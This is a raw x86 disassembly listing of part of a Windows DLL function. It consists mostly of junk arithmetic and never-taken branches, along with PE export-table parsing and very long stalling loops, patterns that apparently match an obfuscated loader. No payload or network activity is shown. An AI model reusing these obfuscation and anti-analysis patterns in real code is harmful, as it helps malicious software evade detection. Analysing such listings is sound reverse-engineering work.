call fcn.1000c02f
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x21c], 0xfffffff8
mov dword [ebp - 0x214], 0
jmp 0x1001ee03
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x1001ee22
push dword [ebp - 0x214]
lea ecx, [ebp - 0x954]
call fcn.1000c0cd
and dword [eax], 0
jmp 0x1001edf6
mov dword [ebp - 0x21c], 0
jmp 0x1001ee3b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jg 0x1001ef1e
mov dword [ebp - 0x590], 0xda7fe64f
mov dword [ebp - 0x5b8], 0x4a90611b
mov dword [ebp - 0x5a0], 0x7ee39f3f
cmp dword [ebp - 0x590], 0
je 0x1001ee8d
push 0
lea ecx, [ebp - 0x954]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001ee8d
mov dword [ebp - 0x5b0], 1
jmp 0x1001ee94
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0xe50], eax
mov esi, dword [ebp - 0x170]
sub esi, dword [ebp - 0x5b8]
push 0
lea ecx, [ebp - 0x954]
call fcn.1000c0cd
cmp dword [eax], esi
jg 0x1001eec9
mov dword [ebp - 0x598], 1
jmp 0x1001eed0
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp - 0x5a8]
cmp dword [ebp - 0x5b0], eax
jg 0x1001ef02
mov dword [ebp - 0xb24], 1
jmp 0x1001ef09
and dword [ebp - 0xb24], 0
imul eax, dword [ebp - 0x5b8], 0x5fff
mov dword [ebp - 0xa64], eax
jmp 0x1001ee2e
push 0
lea ecx, [ebp - 0x954]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001ef41
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x954]
call fcn.1000c0b1
jmp 0x1001ef55
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x954]
call fcn.1000c0b1
jmp 0x1001edb2
mov eax, dword [ebp - 0x188]
cmp dword [eax], 0x4550
jne 0x10020cf8
mov eax, dword [ebp - 0x188]
cmp dword [eax + 0x74], 0
jbe 0x10020cf8
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x188]
cmp dword [ecx + eax + 0x78], 0
je 0x10020cf8
mov dword [ebp - 0x178], 0xdf75dcec
mov dword [ebp - 0xa7c], 0x1532d49a
mov dword [ebp - 0x178], 0
jmp 0x1001efbb
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xffffffef
jl 0x1001f2ed
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb5c], 0x7a3a11c1
mov dword [ebp - 0xb58], 0x7a3a11c1
mov dword [ebp - 0xb54], 0x7a3a11c1
mov dword [ebp - 0xb50], 0x7a3a11c1
mov dword [ebp - 0xe58], 0x1c097bc8
mov dword [ebp - 0xe60], 0x4087a912
mov dword [ebp - 0xe68], 1
mov dword [ebp - 0xe70], 0xe86ff18e
mov dword [ebp - 0xe84], 0xcae7bf19
mov dword [ebp - 0xa74], 0x4f6b903c
mov dword [ebp - 0xe90], 0x6ed4bca9
mov dword [ebp - 0xe8c], 1
mov dword [ebp - 0xbc], 0
jmp 0x1001f063
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffff
jg 0x1001f2ac
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x5c8], 0xffffffff
mov dword [ebp - 0xe2c], 0xa8cf1d65
push 2
lea ecx, [ebp - 0xe20]
call fcn.1000c02f
mov dword [ebp - 4], 0x28
push 2
lea ecx, [ebp - 0xc64]
call fcn.1000c02f
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x90], 0
jmp 0x1001f0c9
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1001f0eb
push dword [ebp - 0x90]
lea ecx, [ebp - 0xe20]
call fcn.1000c0cd
mov dword [eax], 0x12a7b09f
jmp 0x1001f0bc
mov dword [ebp - 0x90], 0
jmp 0x1001f104
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1001f126
push dword [ebp - 0x90]
lea ecx, [ebp - 0xc64]
call fcn.1000c0cd
mov dword [eax], 4
jmp 0x1001f0f7
mov dword [ebp - 0x40], 0
jmp 0x1001f136
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x1001f14c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xb5c], 0xed1ad67a
jmp 0x1001f12f
mov dword [ebp - 0x40], 3
jmp 0x1001f15c
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1001f289
mov dword [ebp - 0xae4], 4
mov dword [ebp - 0xd78], 0x939e63a5
mov dword [ebp - 0xdf4], 0x9c089ced
mov dword [ebp - 0xadc], 8
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xd04], eax
push 1
lea ecx, [ebp - 0xc64]
call fcn.1000c0cd
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov eax, dword [eax]
mov dword [ebp - 0xa6c], eax
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0x394]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa6c]
cmp eax, dword [ebp - 0xb34]
jg 0x1001f1f2
mov dword [ebp - 0x5d0], 1
jmp 0x1001f1f9
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0xb5c]
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp + eax*4 - 0xb5c], ecx
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x5c8]
add eax, 0xc7be
cmp eax, dword [ebp - 0x5d0]
jge 0x1001f26e
cmp dword [ebp - 0xa74], 0xfffffffc
jne 0x1001f24d
mov dword [ebp - 0x5d8], 1
jmp 0x1001f254
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0xae4]
cmp dword [ebp - 0x5d8], eax
jle 0x1001f26e
mov dword [ebp - 0x5e0], 1
jmp 0x1001f275
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5e0]
sub eax, 8
mov dword [ebp - 0xa7c], eax
jmp 0x1001f155
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xc64]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe20]
call fcn.1000c0b1
jmp 0x1001f056
mov dword [ebp - 0xbc], 0xfffffffd
jmp 0x1001f2c5
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
je 0x1001f2e8
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x1001f2e6
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
jmp 0x1001f2b8
jmp 0x1001efae
mov eax, dword [ebp + 8]
mov dword [ebp - 0x148], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x148]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xac], edx
mov eax, 0xffff
mov word [ebp - 0x8c], ax
or dword [ebp - 0x140], 0xffffffff
push 1
lea ecx, [ebp - 0x40c]
call fcn.1000c02f
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x38], 0x453606de
mov dword [ebp - 0x98], 0x1720d700
mov dword [ebp - 0x3d8], 0x9d73ae4c
mov dword [ebp - 0x23c], 0xbd29a2a6
mov dword [ebp - 0x224], 0
jmp 0x1001f377
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x1001f399
push dword [ebp - 0x224]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
mov dword [eax], 0x5568
jmp 0x1001f36a
mov dword [ebp - 0x38], 0
jmp 0x1001f3a9
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jg 0x1001f7b8
mov dword [ebp - 0x180], 0x11738ab6
mov dword [ebp - 0x22c], 0
jmp 0x1001f3d6
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x1001f3f2
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x39c], 0x1307
jmp 0x1001f3c9
mov dword [ebp - 0x180], 0
jmp 0x1001f40b
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0
jg 0x1001f799
push 1
lea ecx, [ebp - 0xc7c]
call fcn.1000c02f
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x234], 0
jmp 0x1001f442
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 1
jge 0x1001f464
push dword [ebp - 0x234]
lea ecx, [ebp - 0xc7c]
call fcn.1000c0cd
mov dword [eax], 0xfffffffd
jmp 0x1001f435
cmp dword [ebp - 0x180], 0
je 0x1001f48c
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001f48c
mov dword [ebp - 0x600], 1
jmp 0x1001f493
and dword [ebp - 0x600], 0
push 0
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov esi, dword [ebp - 0x98]
push 0
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
cmp esi, dword [eax]
jg 0x1001f4cb
mov dword [ebp - 0x5e8], 1
jmp 0x1001f4d2
and dword [ebp - 0x5e8], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x5e8]
cmp ecx, dword [eax]
jl 0x1001f4f6
mov dword [ebp - 0x5f0], 1
jmp 0x1001f4fd
and dword [ebp - 0x5f0], 0
cmp dword [ebp - 0x5f0], 7
jb 0x1001f512
mov dword [ebp - 0x5f8], 1
jmp 0x1001f519
and dword [ebp - 0x5f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x39c]
cmp dword [ebp - 0x5f8], eax
jle 0x1001f53a
mov dword [ebp - 0x608], 1
jmp 0x1001f541
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x608]
jl 0x1001f55b
mov dword [ebp - 0xb2c], 1
jmp 0x1001f562
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xe5c], eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
cmp dword [eax], 0x7772
jge 0x1001f5a9
mov dword [ebp - 0x610], 1
jmp 0x1001f5b0
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x3d8], eax
mov esi, dword [ebp - 0x3d8]
push dword [ebp - 0x38]
lea ecx, [ebp - 0x40c]
call fcn.1000c0cd
cmp dword [eax], esi
jge 0x1001f5e0
mov dword [ebp - 0x618], 1
jmp 0x1001f5e7
and dword [ebp - 0x618], 0
cmp dword [ebp - 0x618], 1
je 0x1001f605
mov eax, 0x45702377
test eax, eax
je 0x1001f605
mov dword [ebp - 0x620], 1
jmp 0x1001f60c
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x23c], eax
mov esi, dword [ebp - 0x23c]
push 0
lea ecx, [ebp - 0xc7c]
call fcn.1000c0cd
mov dword [eax], esi
mov dword [ebp - 0x98], 0
jmp 0x1001f646
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jg 0x1001f785
mov dword [ebp - 0xa84], 0x9b4ccc41
mov dword [ebp - 0x3c8], 0x33ec
mov eax, dword [ebp - 0xa84]
mov dword [ebp - 0xd0c], eax
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xe04], eax
xor eax, eax
inc eax
cmp eax, 0x5680a256
jg 0x1001f695
mov dword [ebp - 0x628], 1
jmp 0x1001f69c
and dword [ebp - 0x628], 0
xor eax, eax
sub eax, dword [ebp - 0x628]
cmp eax, 3
je 0x1001f6b5
mov dword [ebp - 0x630], 1
jmp 0x1001f6bc
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0x630], eax
jge 0x1001f6d6
mov dword [ebp - 0x638], 1
jmp 0x1001f6dd
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 1
jne 0x1001f6f2
mov dword [ebp - 0x640], 1
jmp 0x1001f6f9
and dword [ebp - 0x640], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c8]
add ecx, dword [ebp - 0x640]
sub ecx, dword [ebp + eax - 0x39c]
cmp ecx, dword [ebp - 0x98]
jge 0x1001f726
mov dword [ebp - 0x648], 1
jmp 0x1001f72d
and dword [ebp - 0x648], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x39c]
cmp eax, dword [ebp - 0x648]
jge 0x1001f74e
mov dword [ebp - 0x650], 1
jmp 0x1001f755
and dword [ebp - 0x650], 0
cmp dword [ebp - 0x650], 0x6c56
jl 0x1001f76d
mov dword [ebp - 0x658], 1
jmp 0x1001f774
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x3d8], eax
jmp 0x1001f639
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xc7c]
call fcn.1000c0b1
jmp 0x1001f3fe
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001f7b3
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x1001f3a2
cmp dword [ebp - 0x23c], 1
jge 0x1001f7cd
mov dword [ebp - 0x660], 1
jmp 0x1001f7d4
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x23c]
sub eax, 0x3ba0
mov ecx, dword [ebp - 0x98]
sub ecx, dword [ebp - 0x660]
cmp ecx, eax
jge 0x1001f7fb
mov dword [ebp - 0x668], 1
jmp 0x1001f802
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x668]
dec eax
mov dword [ebp - 0x38], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40c]
call fcn.1000c0b1
cmp dword [ebp + 0x10], 0
jbe 0x1001fc87
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001fc82
push 4
lea ecx, [ebp - 0x3f4]
call fcn.1000c02f
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x6c8], 0xfffffffa
mov dword [ebp - 0x6a0], 0xca3eaa3e
mov dword [ebp - 0x6a8], 0x77e06985
mov dword [ebp - 0x244], 0
jmp 0x1001f890
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 4
jge 0x1001f8b2
push dword [ebp - 0x244]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
mov dword [eax], 7
jmp 0x1001f883
mov dword [ebp - 0x28], 3
jmp 0x1001f8c2
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x1001fc68
mov dword [ebp - 0x6b0], 5
mov dword [ebp - 0x96c], 0
mov dword [ebp - 0x670], 0x62cd
mov dword [ebp - 0xa8c], 0x10007bb8
cmp dword [ebp - 0x670], 0x62d9
jle 0x1001fa0c
and dword [ebp - 0x24c], 0
jmp 0x1001f91a
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x12a0
jge 0x1001fa0c
and dword [ebp - 0x254], 0
jmp 0x1001f940
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x5f14
jge 0x1001fa07
and dword [ebp - 0x25c], 0
jmp 0x1001f966
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x503d
jge 0x1001fa02
and dword [ebp - 0x264], 0
jmp 0x1001f98c
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x6f25
jge 0x1001f9fd
mov eax, dword [ebp - 0x24c]
imul eax, dword [ebp - 0x254]
imul eax, dword [ebp - 0x25c]
and eax, dword [ebp - 0x264]
cdq
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0xa0c], edx
push dword [ebp - 0xa0c]
push dword [ebp - 0xa10]
lea ecx, [ebp - 0xfd0]
call fcn.1000a53d
pop ecx
pop ecx
mov dword [ebp - 0xaec], eax
mov ecx, dword [ebp - 0xaec]
call fcn.1000befa
push eax
call fcn.1004bc81
pop ecx
lea ecx, [ebp - 0xfd0]
call fcn.10009a15
jmp 0x1001f97f
jmp 0x1001f959
jmp 0x1001f933
jmp 0x1001f90d
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x670], 0x5ff6
jge 0x1001fa28
push dword [ebp - 0xa8c]
call fcn.1004bc81
pop ecx
jmp 0x1001fa44
mov dword [ebp - 4], 0x2c
jmp 0x1001fa54
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
cmp dword [eax], 1
jne 0x1001fa73
mov dword [ebp - 0x678], 1
jmp 0x1001fa7a
and dword [ebp - 0x678], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
mov esi, dword [ebp - 0x678]
sub esi, dword [eax]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
cmp esi, dword [eax]
jge 0x1001faae
mov dword [ebp - 0x680], 1
jmp 0x1001fab5
and dword [ebp - 0x680], 0
cmp dword [ebp - 0x680], 0xaf06
je 0x1001facd
mov dword [ebp - 0x688], 1
jmp 0x1001fad4
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x688]
lea esi, [ecx + eax - 0x8906]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
sub esi, dword [eax]
cmp esi, 6
je 0x1001fb05
mov dword [ebp - 0x690], 1
jmp 0x1001fb0c
and dword [ebp - 0x690], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x690]
cmp ecx, dword [eax]
jne 0x1001fb30
mov dword [ebp - 0x698], 1
jmp 0x1001fb37
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0
je 0x1001fb79
mov eax, 0x7497
test eax, eax
je 0x1001fb79
mov dword [ebp - 0x6b8], 1
jmp 0x1001fb80
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 1
je 0x1001fb95
mov dword [ebp - 0x6c0], 1
jmp 0x1001fb9c
and dword [ebp - 0x6c0], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x6c0]
cmp ecx, dword [eax]
jg 0x1001fbc0
mov dword [ebp - 0x6d0], 1
jmp 0x1001fbc7
and dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6c8], 1
mov eax, dword [ebp - 0x6c8]
cmp eax, dword [ebp - 0x6d0]
jge 0x1001fbf1
mov eax, 0x25004
test eax, eax
jne 0x1001fbf1
and dword [ebp - 0x6d8], 0
jmp 0x1001fbfb
mov dword [ebp - 0x6d8], 1
push 0
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x6d8]
cmp ecx, dword [eax]
jne 0x1001fc1e
mov dword [ebp - 0xb1c], 1
jmp 0x1001fc25
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xd14], eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3f4]
call fcn.1000c0cd
cmp dword [eax], 0x169
jle 0x1001fc50
mov dword [ebp - 0x6e0], 1
jmp 0x1001fc57
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x96c], eax
jmp 0x1001f8bb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f4]
call fcn.1000c0b1
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x8c], ax
jmp 0x100205b6
mov dword [ebp - 0xe7c], 0
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x1001fca9
call dword [sym.imp.USER32.dll_CreateMenu]
mov byte [ebp - 0xcf], 0
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x1001fcc7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 0x26c], 0xde283bc1
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xf0], 0x14d2fc5c
push 1
lea ecx, [ebp - 0x424]
call fcn.1000c02f
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x54], 0x2657cf7a
mov dword [ebp - 0xa0], 0
jmp 0x1001fd19
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001fd35
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x158], 0xffffffff
jmp 0x1001fd0c
mov dword [ebp - 0xa0], 0
jmp 0x1001fd4e
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x1001fd70
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov dword [eax], 1
jmp 0x1001fd41
xor eax, eax
inc eax
je 0x1001fd91
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x158], 0
je 0x1001fd91
mov dword [ebp - 0x6e8], 1
jmp 0x1001fd98
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x6e8], eax
jl 0x1001fdb2
mov dword [ebp - 0x6f0], 1
jmp 0x1001fdb9
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x1001fdd7
cmp dword [ebp - 0x26c], 0
je 0x1001fde7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x158], 0
jne 0x1001fdf9
mov eax, 0x1a6e483b
test eax, eax
jne 0x1001fdf9
and dword [ebp - 0x6f8], 0
jmp 0x1001fe03
mov dword [ebp - 0x6f8], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6f8]
add ecx, 0x66efe0cd
cmp ecx, dword [ebp + eax - 0x158]
je 0x1001fe2a
mov dword [ebp - 0x700], 1
jmp 0x1001fe31
and dword [ebp - 0x700], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp eax, dword [ebp - 0x700]
jne 0x1001fe52
mov dword [ebp - 0x708], 1
jmp 0x1001fe59
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x26c]
jne 0x1001fe80
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x158], 0
jne 0x1001fe80
and dword [ebp - 0x710], 0
jmp 0x1001fe8a
mov dword [ebp - 0x710], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x710], eax
jge 0x1001feab
mov dword [ebp - 0x718], 1
jmp 0x1001feb2
and dword [ebp - 0x718], 0
cmp dword [ebp - 0x718], 0
jb 0x1001fec7
mov dword [ebp - 0x720], 1
jmp 0x1001fece
and dword [ebp - 0x720], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x158]
imul eax, dword [ebp - 0x720]
test eax, eax
jne 0x1001fef6
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x1001fef6
and dword [ebp - 0x728], 0
jmp 0x1001ff00
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 0
jl 0x1001ff15
mov dword [ebp - 0x730], 1
jmp 0x1001ff1c
and dword [ebp - 0x730], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp eax, dword [ebp - 0x730]
je 0x1001ff3d
mov dword [ebp - 0x738], 1
jmp 0x1001ff44
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x738]
add eax, dword [ebp - 0xf0]
mov dword [ebp - 0x740], eax
push 0
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x740]
mov dword [eax], ecx
cmp dword [ebp - 0x740], 0xffffffff
jne 0x1001ff80
mov dword [ebp - 0x748], 1
jmp 0x1001ff87
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xa8], 0
jmp 0x1001ffa9
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jg 0x100203db
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xd1c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x158], 0x146df800
jge 0x1001fff5
mov dword [ebp - 0x750], 1
jmp 0x1001fffc
and dword [ebp - 0x750], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x158]
imul ecx, dword [ebp + eax - 0x158]
cmp dword [ebp - 0x750], ecx
jl 0x1002002b
mov dword [ebp - 0x758], 1
jmp 0x10020032
and dword [ebp - 0x758], 0
cmp dword [ebp - 0x758], 0xeeb4983c
jne 0x1002004a
mov dword [ebp - 0x760], 1
jmp 0x10020051
and dword [ebp - 0x760], 0
cmp dword [ebp - 0x760], 0xc19ac4e6
ja 0x10020069
mov dword [ebp - 0x768], 1
jmp 0x10020070
and dword [ebp - 0x768], 0
imul eax, dword [ebp - 0x768], 0xf777
cmp eax, 0xffff
jae 0x100200e4
mov dword [ebp - 0x54], 0
jmp 0x10020091
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jg 0x100200df
mov dword [ebp - 0xf0], 0
jmp 0x100200b0
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jg 0x100200dd
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x100200db
push 0x1cce
push 0x1a32
call dword [sym.imp.GDI32.dll_RestoreDC]
jmp 0x100200a3
jmp 0x1002008a
jmp 0x100203d6
mov dword [ebp - 0x790], 0xfffffffb
mov dword [ebp - 0x7c8], 0x34807da0
mov dword [ebp - 0x978], 2
push 0
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x130]
add ecx, eax
imul ecx, dword [ebp - 0x274]
cmp ecx, dword [ebp - 0xf0]
je 0x1002013e
mov dword [ebp - 0x770], 1
jmp 0x10020145
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 0x2afb55e8
jg 0x1002015d
mov dword [ebp - 0x778], 1
jmp 0x10020164
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x778], eax
jne 0x1002017e
mov dword [ebp - 0x3a4], 1
jmp 0x10020185
and dword [ebp - 0x3a4], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x3a4]
mov dword [eax], ecx
cmp dword [ebp - 0x3a4], 0xd714e288
jb 0x100201b6
mov dword [ebp - 0x780], 1
jmp 0x100201bd
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x130]
jge 0x100201dd
mov dword [ebp - 0x970], 1
jmp 0x100201e4
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0xe14], eax
mov eax, 0x5052
cmp eax, 0x22bb
je 0x10020208
mov dword [ebp - 0x788], 1
jmp 0x1002020f
